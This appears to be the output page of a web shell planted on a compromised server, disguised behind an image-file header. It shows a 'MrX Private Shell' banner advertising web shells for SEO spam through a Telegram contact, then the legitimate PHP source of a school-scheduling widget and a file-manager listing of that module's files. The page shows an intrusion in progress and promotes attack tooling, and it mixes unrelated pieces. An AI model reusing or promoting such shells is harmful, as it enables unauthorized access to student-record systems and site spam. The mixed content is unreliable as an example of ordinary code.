����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @param $item
*/
function MyWidgets( $item )
{
global $extra, $_ROSARIO;
switch ( $item )
{
case 'ly_course':
if ( ! empty( $_REQUEST['w_ly_course_period_id'] ) )
{
// @since 6.5 Course Widget: add Subject and Not options.
$extra['WHERE'] .= ! empty( $_REQUEST['w_ly_course_period_id_not'] ) ?
" AND NOT " : " AND ";
if ( $_REQUEST['w_ly_course_period_id_which'] === 'subject' )
{
$extra['WHERE'] .= " EXISTS(SELECT 1 FROM schedule
WHERE STUDENT_ID=ssm.STUDENT_ID
AND COURSE_ID IN(SELECT COURSE_ID
FROM courses
WHERE SUBJECT_ID='" . (int) $_REQUEST['w_ly_subject_id'] . "'))";
$subject_title = DBGetOne( "SELECT TITLE
FROM course_subjects
WHERE SUBJECT_ID='" . (int) $_REQUEST['w_ly_subject_id'] . "'" );
if ( ! $extra['NoSearchTerms'] )
{
$_ROSARIO['SearchTerms'] .= '<b>' . _( 'Last Year Course' ) . ': </b>' .
( ! empty( $_REQUEST['w_ly_course_period_id_not'] ) ? _( 'Not' ) . ' ' : '' ) .
$subject_title . '<br />';
}
}
// Course.
elseif ( $_REQUEST['w_ly_course_period_id_which'] === 'course' )
{
$extra['WHERE'] .= " EXISTS(SELECT 1 FROM schedule
WHERE STUDENT_ID=ssm.STUDENT_ID
AND COURSE_ID='" . (int) $_REQUEST['w_ly_course_id'] . "')";
$course_title = DBGetOne( "SELECT TITLE
FROM courses
WHERE COURSE_ID='" . (int) $_REQUEST['w_ly_course_id'] . "'" );
if ( ! $extra['NoSearchTerms'] )
{
$_ROSARIO['SearchTerms'] .= '<b>' . _( 'Last Year Course' ) . ': </b>' .
( ! empty( $_REQUEST['w_ly_course_period_id_not'] ) ? _( 'Not' ) . ' ' : '' ) .
$course_title . '<br />';
}
}
// Course Period.
else
{
$extra['WHERE'] .= " EXISTS(SELECT 1 FROM schedule
WHERE STUDENT_ID=ssm.STUDENT_ID
AND COURSE_PERIOD_ID='" . (int) $_REQUEST['w_ly_course_period_id'] . "')";
$course = DBGet( "SELECT c.TITLE AS COURSE_TITLE,cp.TITLE,cp.COURSE_ID
FROM course_periods cp,courses c
WHERE c.COURSE_ID=cp.COURSE_ID
AND cp.COURSE_PERIOD_ID='" . (int) $_REQUEST['w_ly_course_period_id'] . "'" );
if ( ! $extra['NoSearchTerms'] )
{
$_ROSARIO['SearchTerms'] .= '<b>' . _( 'Last Year Course Period' ) . ': </b>' .
( ! empty( $_REQUEST['w_ly_course_period_id_not'] ) ? _( 'Not' ) . ' ' : '' ) .
$course[1]['COURSE_TITLE'] . ': ' . $course[1]['TITLE'] . '<br />';
}
}
}
$extra['search'] .= '<tr><td>' . _( 'Last Year Course' ) . '</td>
<td><div id="ly_course_div"></div>
<a href="#" onclick=\'popups.open(
"Modules.php?modname=misc/ChooseCourse.php&last_year=true"
); return false;\'>' . _( 'Choose' ) . '</a></td></tr>';
break;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AddDrop.php | File | 2.52 KB | 0644 |
|
| Courses.php | File | 52.23 KB | 0644 |
|
| IncompleteSchedules.php | File | 4.17 KB | 0644 |
|
| MassDrops.php | File | 9.03 KB | 0644 |
|
| MassRequests.php | File | 6.37 KB | 0644 |
|
| MassSchedule.php | File | 8.22 KB | 0644 |
|
| Menu.php | File | 2.4 KB | 0644 |
|
| PrintClassLists.php | File | 4.24 KB | 0644 |
|
| PrintClassPictures.php | File | 8.54 KB | 0644 |
|
| PrintRequests.php | File | 3.64 KB | 0644 |
|
| PrintSchedules.php | File | 14.09 KB | 0644 |
|
| Requests.php | File | 9.52 KB | 0644 |
|
| RequestsReport.php | File | 842 B | 0644 |
|
| Schedule.php | File | 27.21 KB | 0644 |
|
| ScheduleReport.php | File | 1.13 KB | 0644 |
|
| Scheduler.php | File | 20.4 KB | 0644 |
|
| functions.inc.php | File | 2.69 KB | 0644 |
|
| new_Requests.php | File | 2.28 KB | 0644 |
|